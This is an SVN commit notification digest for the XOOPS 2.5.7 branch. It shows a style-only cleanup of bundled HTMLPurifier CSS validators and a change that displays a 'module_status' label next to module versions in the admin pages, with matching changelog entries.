+++ XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/AlphaValue.php 2014-02-15 07:35:30 UTC (rev 12315)
@@ -8,16 +8,27 @@
parent::__construct(false); // opacity is non-negative, but we will clamp it
}
+ /**
+ * @param string $number
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return string
+ */
public function validate($number, $config, $context)
{
$result = parent::validate($number, $config, $context);
- if ($result === false) return $result;
- $float = (float) $result;
- if ($float < 0.0) $result = '0';
- if ($float > 1.0) $result = '1';
+ if ($result === false) {
+ return $result;
+ }
+ $float = (float)$result;
+ if ($float < 0.0) {
+ $result = '0';
+ }
+ if ($float > 1.0) {
+ $result = '1';
+ }
return $result;
}
-
}
// vim: et sw=4 sts=4
Modified: XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/Background.php
===================================================================
--- XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/Background.php 2014-02-15 07:19:16 UTC (rev 12314)
+++ XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/Background.php 2014-02-15 07:35:30 UTC (rev 12315)
@@ -9,10 +9,14 @@
/**
* Local copy of component validators.
+ * @type HTMLPurifier_AttrDef[]
* @note See HTMLPurifier_AttrDef_Font::$info for a similar impl.
*/
protected $info;
+ /**
+ * @param HTMLPurifier_Config $config
+ */
public function __construct($config)
{
$def = $config->getCSSDefinition();
@@ -23,11 +27,19 @@
$this->info['background-position'] = $def->info['background-position'];
}
+ /**
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
public function validate($string, $config, $context)
{
// regular pre-processing
$string = $this->parseCDATA($string);
- if ($string === '') return false;
+ if ($string === '') {
+ return false;
+ }
// munge rgb() decl if necessary
$string = $this->mungeRgb($string);
@@ -36,27 +48,34 @@
$bits = explode(' ', $string); // bits to process
$caught = array();
- $caught['color'] = false;
- $caught['image'] = false;
- $caught['repeat'] = false;
+ $caught['color'] = false;
+ $caught['image'] = false;
+ $caught['repeat'] = false;
$caught['attachment'] = false;
$caught['position'] = false;
$i = 0; // number of catches
- $none = false;
foreach ($bits as $bit) {
- if ($bit === '') continue;
+ if ($bit === '') {
+ continue;
+ }
foreach ($caught as $key => $status) {
if ($key != 'position') {
- if ($status !== false) continue;
+ if ($status !== false) {
+ continue;
+ }
$r = $this->info['background-' . $key]->validate($bit, $config, $context);
} else {
$r = $bit;
}
- if ($r === false) continue;
+ if ($r === false) {
+ continue;
+ }
if ($key == 'position') {
- if ($caught[$key] === false) $caught[$key] = '';
+ if ($caught[$key] === false) {
+ $caught[$key] = '';
+ }
$caught[$key] .= $r . ' ';
} else {
$caught[$key] = $r;
@@ -66,7 +85,9 @@
}
}
- if (!$i) return false;
+ if (!$i) {
+ return false;
+ }
if ($caught['position'] !== false) {
$caught['position'] = $this->info['background-position']->
validate($caught['position'], $config, $context);
@@ -74,15 +95,17 @@
$ret = array();
foreach ($caught as $value) {
- if ($value === false) continue;
+ if ($value === false) {
+ continue;
+ }
$ret[] = $value;
}
- if (empty($ret)) return false;
+ if (empty($ret)) {
+ return false;
+ }
return implode(' ', $ret);
-
}
-
}
// vim: et sw=4 sts=4
Modified: XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/BackgroundPosition.php
===================================================================
--- XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/BackgroundPosition.php 2014-02-15 07:19:16 UTC (rev 12314)
+++ XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/BackgroundPosition.php 2014-02-15 07:35:30 UTC (rev 12315)
@@ -44,15 +44,28 @@
class HTMLPurifier_AttrDef_CSS_BackgroundPosition extends HTMLPurifier_AttrDef
{
+ /**
+ * @type HTMLPurifier_AttrDef_CSS_Length
+ */
protected $length;
+
+ /**
+ * @type HTMLPurifier_AttrDef_CSS_Percentage
+ */
protected $percentage;
public function __construct()
{
- $this->length = new HTMLPurifier_AttrDef_CSS_Length();
+ $this->length = new HTMLPurifier_AttrDef_CSS_Length();
$this->percentage = new HTMLPurifier_AttrDef_CSS_Percentage();
}
+ /**
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
public function validate($string, $config, $context)
{
$string = $this->parseCDATA($string);
@@ -76,7 +89,9 @@
);
foreach ($bits as $bit) {
- if ($bit === '') continue;
+ if ($bit === '') {
+ continue;
+ }
// test for keyword
$lbit = ctype_lower($bit) ? $bit : strtolower($bit);
@@ -106,29 +121,37 @@
$measures[] = $r;
$i++;
}
-
}
- if (!$i) return false; // no valid values were caught
+ if (!$i) {
+ return false;
+ } // no valid values were caught
$ret = array();
// first keyword
- if ($keywords['h']) $ret[] = $keywords['h'];
- elseif ($keywords['ch']) {
+ if ($keywords['h']) {
+ $ret[] = $keywords['h'];
+ } elseif ($keywords['ch']) {
$ret[] = $keywords['ch'];
$keywords['cv'] = false; // prevent re-use: center = center center
- } elseif (count($measures)) $ret[] = array_shift($measures);
+ } elseif (count($measures)) {
+ $ret[] = array_shift($measures);
+ }
- if ($keywords['v']) $ret[] = $keywords['v'];
- elseif ($keywords['cv']) $ret[] = $keywords['cv'];
- elseif (count($measures)) $ret[] = array_shift($measures);
+ if ($keywords['v']) {
+ $ret[] = $keywords['v'];
+ } elseif ($keywords['cv']) {
+ $ret[] = $keywords['cv'];
+ } elseif (count($measures)) {
+ $ret[] = array_shift($measures);
+ }
- if (empty($ret)) return false;
+ if (empty($ret)) {
+ return false;
+ }
return implode(' ', $ret);
-
}
-
}
// vim: et sw=4 sts=4
Modified: XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/Border.php
===================================================================
--- XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/Border.php 2014-02-15 07:19:16 UTC (rev 12314)
+++ XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/Border.php 2014-02-15 07:35:30 UTC (rev 12315)
@@ -8,9 +8,13 @@
/**
* Local copy of properties this property is shorthand for.
+ * @type HTMLPurifier_AttrDef[]
*/
protected $info = array();
+ /**
+ * @param HTMLPurifier_Config $config
+ */
public function __construct($config)
{
$def = $config->getCSSDefinition();
@@ -19,6 +23,12 @@
$this->info['border-top-color'] = $def->info['border-top-color'];
}
+ /**
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
public function validate($string, $config, $context)
{
$string = $this->parseCDATA($string);
@@ -28,7 +38,9 @@
$ret = ''; // return value
foreach ($bits as $bit) {
foreach ($this->info as $propname => $validator) {
- if (isset($done[$propname])) continue;
+ if (isset($done[$propname])) {
+ continue;
+ }
$r = $validator->validate($bit, $config, $context);
if ($r !== false) {
$ret .= $r . ' ';
@@ -37,10 +49,8 @@
}
}
}
-
return rtrim($ret);
}
-
}
// vim: et sw=4 sts=4
Modified: XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/Color.php
===================================================================
--- XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/Color.php 2014-02-15 07:19:16 UTC (rev 12314)
+++ XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/Color.php 2014-02-15 07:35:30 UTC (rev 12315)
@@ -6,29 +6,47 @@
class HTMLPurifier_AttrDef_CSS_Color extends HTMLPurifier_AttrDef
{
+ /**
+ * @param string $color
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
public function validate($color, $config, $context)
{
static $colors = null;
- if ($colors === null) $colors = $config->get('Core.ColorKeywords');
+ if ($colors === null) {
+ $colors = $config->get('Core.ColorKeywords');
+ }
$color = trim($color);
- if ($color === '') return false;
+ if ($color === '') {
+ return false;
+ }
$lower = strtolower($color);
- if (isset($colors[$lower])) return $colors[$lower];
+ if (isset($colors[$lower])) {
+ return $colors[$lower];
+ }
if (strpos($color, 'rgb(') !== false) {
// rgb literal handling
$length = strlen($color);
- if (strpos($color, ')') !== $length - 1) return false;
+ if (strpos($color, ')') !== $length - 1) {
+ return false;
+ }
$triad = substr($color, 4, $length - 4 - 1);
$parts = explode(',', $triad);
- if (count($parts) !== 3) return false;
+ if (count($parts) !== 3) {
+ return false;
+ }
$type = false; // to ensure that they're all the same type
$new_parts = array();
foreach ($parts as $part) {
$part = trim($part);
- if ($part === '') return false;
+ if ($part === '') {
+ return false;
+ }
$length = strlen($part);
if ($part[$length - 1] === '%') {
// handle percents
@@ -37,9 +55,13 @@
} elseif ($type !== 'percentage') {
return false;
}
- $num = (float) substr($part, 0, $length - 1);
- if ($num < 0) $num = 0;
- if ($num > 100) $num = 100;
+ $num = (float)substr($part, 0, $length - 1);
+ if ($num < 0) {
+ $num = 0;
+ }
+ if ($num > 100) {
+ $num = 100;
+ }
$new_parts[] = "$num%";
} else {
// handle integers
@@ -48,10 +70,14 @@
} elseif ($type !== 'integer') {
return false;
}
- $num = (int) $part;
- if ($num < 0) $num = 0;
- if ($num > 255) $num = 255;
- $new_parts[] = (string) $num;
+ $num = (int)$part;
+ if ($num < 0) {
+ $num = 0;
+ }
+ if ($num > 255) {
+ $num = 255;
+ }
+ $new_parts[] = (string)$num;
}
}
$new_triad = implode(',', $new_parts);
@@ -65,14 +91,15 @@
$color = '#' . $color;
}
$length = strlen($hex);
- if ($length !== 3 && $length !== 6) return false;
- if (!ctype_xdigit($hex)) return false;
+ if ($length !== 3 && $length !== 6) {
+ return false;
+ }
+ if (!ctype_xdigit($hex)) {
+ return false;
+ }
}
-
return $color;
-
}
-
}
// vim: et sw=4 sts=4
Modified: XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/Composite.php
===================================================================
--- XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/Composite.php 2014-02-15 07:19:16 UTC (rev 12314)
+++ XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/Composite.php 2014-02-15 07:35:30 UTC (rev 12315)
@@ -13,29 +13,36 @@
{
/**
- * List of HTMLPurifier_AttrDef objects that may process strings
+ * List of objects that may process strings.
+ * @type HTMLPurifier_AttrDef[]
* @todo Make protected
*/
public $defs;
/**
- * @param $defs List of HTMLPurifier_AttrDef objects
+ * @param HTMLPurifier_AttrDef[] $defs List of HTMLPurifier_AttrDef objects
*/
public function __construct($defs)
{
$this->defs = $defs;
}
+ /**
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
public function validate($string, $config, $context)
{
foreach ($this->defs as $i => $def) {
$result = $this->defs[$i]->validate($string, $config, $context);
- if ($result !== false) return $result;
+ if ($result !== false) {
+ return $result;
+ }
}
-
return false;
}
-
}
// vim: et sw=4 sts=4
Modified: XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/DenyElementDecorator.php
===================================================================
--- XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/DenyElementDecorator.php 2014-02-15 07:19:16 UTC (rev 12314)
+++ XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/DenyElementDecorator.php 2014-02-15 07:35:30 UTC (rev 12315)
@@ -5,24 +5,38 @@
*/
class HTMLPurifier_AttrDef_CSS_DenyElementDecorator extends HTMLPurifier_AttrDef
{
- public $def, $element;
+ /**
+ * @type HTMLPurifier_AttrDef
+ */
+ public $def;
+ /**
+ * @type string
+ */
+ public $element;
/**
- * @param $def Definition to wrap
- * @param $element Element to deny
+ * @param HTMLPurifier_AttrDef $def Definition to wrap
+ * @param string $element Element to deny
*/
public function __construct($def, $element)
{
$this->def = $def;
$this->element = $element;
}
+
/**
* Checks if CurrentToken is set and equal to $this->element
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
*/
public function validate($string, $config, $context)
{
$token = $context->get('CurrentToken', true);
- if ($token && $token->name == $this->element) return false;
+ if ($token && $token->name == $this->element) {
+ return false;
+ }
return $this->def->validate($string, $config, $context);
}
}
Modified: XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/Filter.php
===================================================================
--- XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/Filter.php 2014-02-15 07:19:16 UTC (rev 12314)
+++ XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/Filter.php 2014-02-15 07:35:30 UTC (rev 12315)
@@ -7,7 +7,9 @@
*/
class HTMLPurifier_AttrDef_CSS_Filter extends HTMLPurifier_AttrDef
{
-
+ /**
+ * @type HTMLPurifier_AttrDef_Integer
+ */
protected $intValidator;
public function __construct()
@@ -15,17 +17,27 @@
$this->intValidator = new HTMLPurifier_AttrDef_Integer();
}
+ /**
+ * @param string $value
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
public function validate($value, $config, $context)
{
$value = $this->parseCDATA($value);
- if ($value === 'none') return $value;
+ if ($value === 'none') {
+ return $value;
+ }
// if we looped this we could support multiple filters
$function_length = strcspn($value, '(');
$function = trim(substr($value, 0, $function_length));
if ($function !== 'alpha' &&
$function !== 'Alpha' &&
$function !== 'progid:DXImageTransform.Microsoft.Alpha'
- ) return false;
+ ) {
+ return false;
+ }
$cursor = $function_length + 1;
$parameters_length = strcspn($value, ')', $cursor);
$parameters = substr($value, $cursor, $parameters_length);
@@ -34,24 +46,32 @@
$lookup = array();
foreach ($params as $param) {
list($key, $value) = explode('=', $param);
- $key = trim($key);
+ $key = trim($key);
$value = trim($value);
- if (isset($lookup[$key])) continue;
- if ($key !== 'opacity') continue;
+ if (isset($lookup[$key])) {
+ continue;
+ }
+ if ($key !== 'opacity') {
+ continue;
+ }
$value = $this->intValidator->validate($value, $config, $context);
- if ($value === false) continue;
- $int = (int) $value;
- if ($int > 100) $value = '100';
- if ($int < 0) $value = '0';
+ if ($value === false) {
+ continue;
+ }
+ $int = (int)$value;
+ if ($int > 100) {
+ $value = '100';
+ }
+ if ($int < 0) {
+ $value = '0';
+ }
$ret_params[] = "$key=$value";
$lookup[$key] = true;
}
$ret_parameters = implode(',', $ret_params);
$ret_function = "$function($ret_parameters)";
-
return $ret_function;
}
-
}
// vim: et sw=4 sts=4
Modified: XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/Font.php
===================================================================
--- XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/Font.php 2014-02-15 07:19:16 UTC (rev 12314)
+++ XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/Font.php 2014-02-15 07:35:30 UTC (rev 12315)
@@ -7,8 +7,8 @@
{
/**
- * Local copy of component validators.
- *
+ * Local copy of validators
+ * @type HTMLPurifier_AttrDef[]
* @note If we moved specific CSS property definitions to their own
* classes instead of having them be assembled at run time by
* CSSDefinition, this wouldn't be necessary. We'd instantiate
@@ -16,17 +16,26 @@
*/
protected $info = array();
+ /**
+ * @param HTMLPurifier_Config $config
+ */
public function __construct($config)
{
$def = $config->getCSSDefinition();
- $this->info['font-style'] = $def->info['font-style'];
+ $this->info['font-style'] = $def->info['font-style'];
$this->info['font-variant'] = $def->info['font-variant'];
- $this->info['font-weight'] = $def->info['font-weight'];
- $this->info['font-size'] = $def->info['font-size'];
- $this->info['line-height'] = $def->info['line-height'];
- $this->info['font-family'] = $def->info['font-family'];
+ $this->info['font-weight'] = $def->info['font-weight'];
+ $this->info['font-size'] = $def->info['font-size'];
+ $this->info['line-height'] = $def->info['line-height'];
+ $this->info['font-family'] = $def->info['font-family'];
}
+ /**
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
public function validate($string, $config, $context)
{
static $system_fonts = array(
@@ -40,7 +49,9 @@
// regular pre-processing
$string = $this->parseCDATA($string);
- if ($string === '') return false;
+ if ($string === '') {
+ return false;
+ }
// check if it's one of the keywords
$lowercase_string = strtolower($string);
@@ -55,15 +66,20 @@
$final = ''; // output
for ($i = 0, $size = count($bits); $i < $size; $i++) {
- if ($bits[$i] === '') continue;
+ if ($bits[$i] === '') {
+ continue;
+ }
switch ($stage) {
-
- // attempting to catch font-style, font-variant or font-weight
- case 0:
+ case 0: // attempting to catch font-style, font-variant or font-weight
foreach ($stage_1 as $validator_name) {
- if (isset($caught[$validator_name])) continue;
+ if (isset($caught[$validator_name])) {
+ continue;
+ }
$r = $this->info[$validator_name]->validate(
- $bits[$i], $config, $context);
+ $bits[$i],
+ $config,
+ $context
+ );
if ($r !== false) {
$final .= $r . ' ';
$caught[$validator_name] = true;
@@ -71,15 +87,17 @@
}
}
// all three caught, continue on
- if (count($caught) >= 3) $stage = 1;
- if ($r !== false) break;
-
- // attempting to catch font-size and perhaps line-height
- case 1:
+ if (count($caught) >= 3) {
+ $stage = 1;
+ }
+ if ($r !== false) {
+ break;
+ }
+ case 1: // attempting to catch font-size and perhaps line-height
$found_slash = false;
if (strpos($bits[$i], '/') !== false) {
list($font_size, $line_height) =
- explode('/', $bits[$i]);
+ explode('/', $bits[$i]);
if ($line_height === '') {
// ooh, there's a space after the slash!
$line_height = false;
@@ -90,14 +108,19 @@
$line_height = false;
}
$r = $this->info['font-size']->validate(
- ...
[truncated message content] |
|
From: <be...@us...> - 2014-02-15 07:19:23
|
Revision: 12314
http://sourceforge.net/p/xoops/svn/12314
Author: beckmi
Date: 2014-02-15 07:19:16 +0000 (Sat, 15 Feb 2014)
Log Message:
-----------
added "module_status" to show together with module Version in Admin(mamba)
Modified Paths:
--------------
XoopsCore/branches/2.5.x/2.5.7/docs/changelog.250.txt
XoopsCore/branches/2.5.x/2.5.7/htdocs/modules/system/admin/modulesadmin/main.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/modules/system/admin/modulesadmin/modulesadmin.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/modules/system/templates/admin/system_modules.html
Modified: XoopsCore/branches/2.5.x/2.5.7/docs/changelog.250.txt
===================================================================
--- XoopsCore/branches/2.5.x/2.5.7/docs/changelog.250.txt 2014-02-15 02:33:36 UTC (rev 12313)
+++ XoopsCore/branches/2.5.x/2.5.7/docs/changelog.250.txt 2014-02-15 07:19:16 UTC (rev 12314)
@@ -5,14 +5,24 @@
===============================
Bugfixes:
- ID: 1143 (old ID 430840) class/module.errorhandler.php (uberrookie/zyspec)
+- ID: 1225 Restore user theme choice during "Remember me" processing. (rgriffith)
+- ID: 1226 Change value of clickable due to issues centering on CaricaFoto script (rgriffith)
- ID: 1227 Sorting bug in Profile module search (Zyspec)
+- ID: 1246 Fallback to english for admin theme language files if no language specific file exists (rgriffith)
+- ID: 1261 Fix as proposed by Irmtfan (irmtfan/rgriffith)
+- ID: 1268 reduce db load if XoopsFormSelectUser is called multiple times in a page load (rgriffith)
- ID: 1269 Block template file will not updated after update the module (irmtfan)
- ID: 1270 template issue in email notifications (changed X_ITEM_TILE to X_ITEM_NAME) (alain01/slider84/mamba)
-- ID: 1271 install last page no css/js (tarik)
+- ID: 1271 install last page no css/js (tarik/rgriffith))
+- ID: 1272 delete functions always return true (rgriffith)
- ID: 1273 template duplicate issue (irmtfan)
+- ID: 1274 prevent multiple inclusions of a module's xoops_version.php (irmtfan/rgriffith)
- ID: 1278 _AM_SENDMTOUSERS missed (Mowaffaq/mamba)
+- ID: 1281 initialize arrays as empty arrays rather than null (rgriffith)
- ID: 1285 check if session exists before attempting to start a new one (wishcraft)
- ID: 1287 assigning "static" to various class methods (wishcraft/mamba)
+- ID: 1291 xoops_getModuleOption() did not respect $dirname (rgriffith)
+- ID: 1382 add cleanup of unused avatar resources to admin maintenance page (rgriffith)
- reversing fix for potential lack of rendering css and javascript in Installer on the last screen by culex
@@ -40,10 +50,22 @@
- set minimum PHP version to 5.3.7 (mamba)
- added missing apostrophe corrections for Date types in CleanVars in /class/model/write.php
- added function escape to XoopsMySQLDatabase, needed for Formulize (jegelstaff)
+- added blank.gif images to ModuleAdmin icons (timgno)
+- addedd [soundcloud] BB code as supplied by (iHackCode/rgriffith)
+- fix for cancel button in javascript (currently it still entered the text, even if canceled) (mamba)
+- added "module_status" to show with module Version (mamba)
+- patch for input validation bypass issue reported by Tatane (tatane/rgriffith)
+- change default value for usercookie config to match change in 2.6.0. (rgriffith)
+- correct method used to determine the current effective language.(rgriffith)
+- fix errors "PHP Strict standards: Redefining already defined constructor" under PHP 5.5 (rgriffith)
+- fix to correctly load the CSS file into the header in ModuleAdmin (Bleekk, Alfred)
+- added "title" to buttons in DHTML Editor (mamba)
+- updated required PHP and XOOPS versions, module versions in modules (cesag/mamba)
+- added xBootstrap theme (UI/UX Team: Angelo Roja, Bleekk, Heyula)
-
Security fixes
- - XSS issues reported by Mehdi Dadkhah (rgriffith)
+- XSS issues reported by Mehdi Dadkhah (rgriffith)
+- Fix potential security issues reported by Pedro Ribeiro of Agile Information Security (rgriffith)
Updated:
- jGrowl to 1.2.13 (mamba)
@@ -51,6 +73,7 @@
- HTML Purifier to 4.5.0 (mamba)
- Smarty to 2.6.28 (mamba)
- TinyMCE to 3.5.10 (mamba)
+ - prototype.js to 1.7.1, Aug 2012 (rgriffith)
===============================
2013/04/21: Version 2.5.6 Final
Modified: XoopsCore/branches/2.5.x/2.5.7/htdocs/modules/system/admin/modulesadmin/main.php
===================================================================
--- XoopsCore/branches/2.5.x/2.5.7/htdocs/modules/system/admin/modulesadmin/main.php 2014-02-15 02:33:36 UTC (rev 12313)
+++ XoopsCore/branches/2.5.x/2.5.7/htdocs/modules/system/admin/modulesadmin/main.php 2014-02-15 07:19:16 UTC (rev 12314)
@@ -91,6 +91,7 @@
$listed_mods[$i]['image'] = $module->getInfo('image');
$listed_mods[$i]['adminindex'] = $module->getInfo('adminindex');
$listed_mods[$i]['version'] = round($module->getVar('version') / 100, 2);
+ $listed_mods[$i]['module_status'] = $module->getInfo('module_status');
$listed_mods[$i]['last_update'] = formatTimestamp($module->getVar('last_update'), 'm');
$listed_mods[$i]['author'] = $module->getInfo('author');
$listed_mods[$i]['credits'] = $module->getInfo('credits');
@@ -169,6 +170,7 @@
$toinstall_mods[$i]['dirname'] = $module->getInfo('dirname');
$toinstall_mods[$i]['image'] = $module->getInfo('image');
$toinstall_mods[$i]['version'] = round($module->getInfo('version'), 2);
+ $toinstall_mods[$i]['module_status'] = $module->getInfo('module_status');
$toinstall_mods[$i]['author'] = $module->getInfo('author');
$toinstall_mods[$i]['credits'] = $module->getInfo('credits');
$toinstall_mods[$i]['license'] = $module->getInfo('license');
@@ -534,7 +536,7 @@
$msgs[] = '<img src="' . XOOPS_URL . '/modules/' . $dirname . '/' . trim($module->getInfo('image'))
. '" alt="" />';
}
- $msgs[] = '<strong>' . _VERSION . ':</strong> ' . $module->getInfo('version');
+ $msgs[] = '<strong>' . _VERSION . ':</strong> ' . $module->getInfo('version') . ' ' . $module->getInfo('module_status');
if ($module->getInfo('author') != false && trim($module->getInfo('author')) != '') {
$msgs[]
= '<strong>' . _AUTHOR . ':</strong> ' . $myts->htmlspecialchars(trim($module->getInfo('author')));
@@ -1101,7 +1103,7 @@
$msgs[] = sprintf(_AM_SYSTEM_MODULES_OKUPD, '<strong>' . $module->getVar('name', 's') . '</strong>');
$msgs[] = '</div></div>';
$msgs[] = '<div class="center"><a href="admin.php?fct=modulesadmin">' . _AM_SYSTEM_MODULES_BTOMADMIN
- . '</a> | <a href="' . XOOPS_URL . '/modules/' . $module->getInfo('dirname', 'e') . '/' . $module->getInfo('adminindex') . '">' . _AM_SYSTEM_MODULES_ADMIN
+ . '</a> | <a href="' . XOOPS_URL . '/modules/' . $module->getInfo('dirname', 'e') . '/' . $module->getInfo('adminindex') . '">' . _AM_SYSTEM_MODULES_ADMIN
. '</a></div>';
foreach ($msgs as $msg) {
echo $msg . '<br />';
Modified: XoopsCore/branches/2.5.x/2.5.7/htdocs/modules/system/admin/modulesadmin/modulesadmin.php
===================================================================
--- XoopsCore/branches/2.5.x/2.5.7/htdocs/modules/system/admin/modulesadmin/modulesadmin.php 2014-02-15 02:33:36 UTC (rev 12313)
+++ XoopsCore/branches/2.5.x/2.5.7/htdocs/modules/system/admin/modulesadmin/modulesadmin.php 2014-02-15 07:19:16 UTC (rev 12314)
@@ -57,7 +57,7 @@
if ($module->getInfo('image') != false && trim($module->getInfo('image')) != '') {
$msgs[] ='<a href="'.XOOPS_URL.'/modules/'.$module->getInfo('dirname', 'e').'/'.$module->getInfo('adminindex').'"><img src="' . XOOPS_URL . '/modules/' . $dirname . '/' . trim($module->getInfo('image')) . '" alt="" /></a>';
}
- $msgs[] ='<strong>' . _VERSION . ':</strong> ' . $module->getInfo('version');
+ $msgs[] ='<strong>' . _VERSION . ':</strong> ' . $module->getInfo('version') . ' ' . $module->getInfo('module_status');
if ($module->getInfo('author') != false && trim($module->getInfo('author')) != '') {
$msgs[] ='<strong>' . _AUTHOR . ':</strong> ' . htmlspecialchars(trim($module->getInfo('author')));
}
@@ -502,7 +502,7 @@
if ($module->getInfo('image') != false && trim($module->getInfo('image')) != '') {
$msgs[] ='<img src="' . XOOPS_URL . '/modules/' . $dirname . '/' . trim($module->getInfo('image')) . '" alt="" />';
}
- $msgs[] ='<strong>' . _VERSION . ':</strong> ' . $module->getInfo('version');
+ $msgs[] ='<strong>' . _VERSION . ':</strong> ' . $module->getInfo('version'). ' ' . $module->getInfo('module_status');
if ($module->getInfo('author') != false && trim($module->getInfo('author')) != '') {
$msgs[] ='<strong>' . _AUTHOR . ':</strong> ' . htmlspecialchars(trim($module->getInfo('author')));
}
@@ -749,7 +749,7 @@
if ($module->getInfo('image') != false && trim($module->getInfo('image')) != '') {
$msgs[] ='<img src="' . XOOPS_URL . '/modules/' . $module->getVar('dirname') . '/' . trim($module->getInfo('image')) . '" alt="" />';
}
- $msgs[] ='<strong>' . _VERSION . ':</strong> ' . $module->getInfo('version');
+ $msgs[] ='<strong>' . _VERSION . ':</strong> ' . $module->getInfo('version'). ' ' . $module->getInfo('module_status');
if ($module->getInfo('author') != false && trim($module->getInfo('author')) != '') {
$msgs[] = '<strong>' . _AUTHOR . ':</strong> ' . htmlspecialchars(trim($module->getInfo('author')));
}
Modified: XoopsCore/branches/2.5.x/2.5.7/htdocs/modules/system/templates/admin/system_modules.html
===================================================================
--- XoopsCore/branches/2.5.x/2.5.7/htdocs/modules/system/templates/admin/system_modules.html 2014-02-15 02:33:36 UTC (rev 12313)
+++ XoopsCore/branches/2.5.x/2.5.7/htdocs/modules/system/templates/admin/system_modules.html 2014-02-15 07:19:16 UTC (rev 12314)
@@ -49,7 +49,7 @@
<{if $row.warning_update == 1}>
<strong class="red"><{$row.version}></strong>
<{else}>
- <{$row.version}>
+ <{$row.version}> <{$row.module_status}>
<{/if}>
</td>
<td><{$row.last_update}></td>
@@ -101,7 +101,7 @@
<{if $row.warning_update == 1}>
<a class="tooltip maxi" style="color:red;" href="<{$xoops_url}>/modules/system/admin.php?fct=modulesadmin&op=update&module=<{$row.dirname}>" title="<{$smarty.const._AM_SYSTEM_MODULES_UPDATE}>"><{$row.version}></a><br /><{$smarty.const._AM_SYSTEM_MODULES_UPDATE}>
<{else}>
- <{$row.version}>
+ <{$row.version}> <{$row.module_status}>
<{/if}>
</td>
<td><{$row.last_update}></td>
@@ -154,7 +154,7 @@
<{if $row.warning_update == 1}>
<a class="tooltip maxi" style="color:red;" href="<{$xoops_url}>/modules/system/admin.php?fct=modulesadmin&op=update&module=<{$row.dirname}>" title="<{$smarty.const._AM_SYSTEM_MODULES_UPDATE}>"><{$row.version}></a><br /><{$smarty.const._AM_SYSTEM_MODULES_UPDATE}>
<{else}>
- <{$row.version}>
+ <{$row.version}> <{$row.module_status}>
<{/if}>
</td>
<td><{$row.last_update}></td>
@@ -221,7 +221,7 @@
<span class="spacer bold"><{$row.name}></span>
</div>
</td>
- <td><{$row.version}></td>
+ <td><{$row.version}> <{$row.module_status}></td>
<td class="xo-modsimages">
<a class="tooltip" href="<{$xoops_url}>/modules/system/admin.php?fct=modulesadmin&op=install&module=<{$row.dirname}>" title="<{$smarty.const._AM_SYSTEM_MODULES_INSTALL}>">
<img src="<{xoAdminIcons install.png}>" alt="<{$smarty.const._AM_SYSTEM_MODULES_INSTALL}>" />
@@ -243,7 +243,7 @@
</td>
<td>
<ul class="xo-moduleinfos">
- <li><span class="bold"><{$smarty.const._VERSION}></span> : <{$row.version}></li>
